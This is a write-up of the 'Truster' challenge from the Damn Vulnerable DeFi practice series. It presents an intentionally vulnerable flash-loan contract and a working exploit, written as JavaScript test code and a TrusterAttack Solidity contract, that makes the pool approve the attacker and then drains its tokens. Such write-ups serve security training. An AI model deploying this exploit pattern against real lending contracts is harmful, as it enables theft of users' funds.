moon

moon

Build for builders on blockchain
github
twitter

Defi Hacker Series: Damn Vulnerable DeFi (Part 3) - Truster

Damn Vulnerable DeFi is a series of DeFi smart contract attack challenges. The content includes flash loan attacks, lending pools, on-chain oracles, etc. Before starting, you need to have skills in Solidity and JavaScript. Your task for each challenge is to ensure that the unit tests for that challenge can pass.

Challenge link: https://www.damnvulnerabledefi.xyz/challenges/3.html

Challenge description:

There is a lending pool contract that provides flash loan functionality for DVT tokens, with a total of 1 million tokens. However, you don't have any tokens. Your task is to deplete all the tokens from the lending pool in a single transaction.

First, let's take a look at the source code of the lending pool contract.

TrusterLenderPool.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

/**
 * @title TrusterLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract TrusterLenderPool is ReentrancyGuard {

    using Address for address;
		
    // Token instance
    IERC20 public immutable damnValuableToken;

    constructor (address tokenAddress) {
        damnValuableToken = IERC20(tokenAddress);
    }
		
    // Flash loan function
    // borrowAmount: the amount to borrow
    // borrower: the borrower's address
    // target: the address of the callback contract
    // data: the calldata formed by the callback contract's method and parameters
    function flashLoan(
        uint256 borrowAmount,
        address borrower,
        address target,
        bytes calldata data
    )
        external
        nonReentrant
    {
        // Get the balance of DVT tokens in this contract
        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

        // Transfer borrowAmount of DVT tokens to the borrower's address
        damnValuableToken.transfer(borrower, borrowAmount);
        // Call the callback method of the target contract
        target.functionCall(data);

        // Ensure that the loan has been paid back
        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }
}

From the smart contract, we can see that it is not possible to take out all the tokens from the flash loan method. The contract checks the balance at the end and rolls back the transaction if it is not satisfied.

Let's try a different approach. If we can call the transferFrom method of the token contract, like this:

token.transferFrom(pool, attacker, account);

We can transfer the tokens from the lending pool contract to the attacker's address.

However, to successfully execute transferFrom, authorization from the token contract is required. In the ERC20 standard, there is a method called approve:

function approve(address spender, uint256 amount) public virtual override returns (bool)

It allows the caller to approve the spender to spend a certain amount of tokens from the caller's account.

In this challenge, we can call a similar method in the lending pool contract:

token.approve(attacker, amount);

This means that the caller (the lending pool contract) approves the attacker's address to spend the specified amount of tokens.

However, there is no place in the lending pool contract to make this call. But we notice that inside the flashLoan method, there is a line of code target.functionCall(data);, which internally makes a low-level call target.call(data).

Interactions between smart contracts are done through calldata, which looks like:
0x6057361d000000000000000000000000000000000000000000000000000000000000000a
The first 4 bytes (6057361d) are the function selector (the identifier of the function), and the rest are the input parameters passed to the function.
Inside a contract, calldata can be constructed using abi.encodeWithSignature("functionName(...parameterTypes)", ...params).

So in this challenge, the target is the address of the token contract, and the data is the approve method. In JavaScript, we can construct the data as follows:

const abi = [
  'function approve(address, uint256) external'
]
const iface = new ethers.utils.Interface(abi)
const data = iface.encodeFunctionData('approve', [attacker.address, ethers.constants.MaxUint256])

After that, we can call the flashLoan method with the corresponding parameters. If it executes successfully, it means that the balance in the lending pool contract can be manipulated by the attacker. The code is as follows:

it('Exploit', async function () {
  const abi = [
    'function approve(address, uint256) external'
  ]
  const iface = new ethers.utils.Interface(abi)
  const data = iface.encodeFunctionData('approve', [attacker.address, ethers.constants.MaxUint256])

  await this.pool.flashLoan(0, deployer.address, this.token.address, data)
  await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL)
})

Run yarn truster, and the test passes!

However, the challenge requires performing a transaction. Obviously, our code does not meet this requirement. So we can execute a transaction through a smart contract.

TrusterAttack.sol

pragma solidity ^0.8.0;

import "../truster/TrusterLenderPool.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract TrusterAttack {
  TrusterLenderPool public pool;
  IERC20 public token;

  constructor(address _pool, address _token) {
    pool = TrusterLenderPool(_pool);
    token = IERC20(_token);
  }

  function attack(address borrower) external {
    address sender = msg.sender;
    bytes memory data = abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max);
    pool.flashLoan(0, borrower, address(token), data);

    token.transferFrom(address(pool), sender, token.balanceOf(address(pool)));
  }
}

Then, in the test case, deploy the contract and execute the attack method:

it('Exploit', async function () {
  const TrusterAttack = await ethers.getContractFactory('TrusterAttack', deployer)
  const trusterAttack = await TrusterAttack.deploy(this.pool.address, this.token.address)

  await trusterAttack.connect(attacker).attack(deployer.address)
})

Finally, run yarn truster, and the test passes!

Complete code

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.